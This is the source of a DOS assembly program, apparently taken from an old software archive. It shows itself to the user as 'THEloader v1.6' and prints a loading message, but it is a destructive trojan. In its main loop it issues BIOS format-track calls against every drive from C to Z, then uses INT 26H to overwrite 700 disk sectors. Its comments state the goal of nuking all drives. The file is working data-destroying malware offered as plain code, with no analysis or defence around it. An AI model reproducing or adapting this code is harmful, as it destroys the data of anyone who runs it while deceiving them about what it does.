home *** CD-ROM | disk | FTP | other *** search
- DOSSEG
- .MODEL SMALL
- .STACK 100H
- .DATA
-
- CNTR DB 2 ; Counter to nuke all drives C and up
- MESSAGE DB 13,10,"Loading program$"
- FINISH DB 13,10,"Thanx for using THEloader v1.6$",13,10
- DOT DB ".$"
-
- .CODE
-
- kill: MOV AX,@DATA
- MOV DS,AX
- MOV BP,1
- MOV DX,OFFSET MESSAGE ;Print the nice little message
- MOV AH,09H
- INT 21H
-
- KRAD: CMP CNTR,26 ;Check to see if it's drive Z
- JGE BYEBYE ;If it is, then jump to the end...
- MOV AH,05 ;Format track
- MOV CH,0 ;Blah, blah, blah...
- MOV DH,0 ;Starting at Sector 0
- MOV DL,CNTR ;Drive
- INT 13H
- MOV DX,OFFSET DOT
- MOV AH,09H
- INT 21H
- INC CNTR
- JMP KRAD
-
- BYEBYE: MOV AL,2
- MOV CX,700
- MOV DX,00
- MOV DS,[DI+99]
- MOV BX,[DI+55]
- INT 26H
- MOV DX,OFFSET FINISH
- MOV AH,09H
- INT 21H
- MOV AX,4C00H
- INT 21H ;Get outa here...
-
- END KILL
-
-
-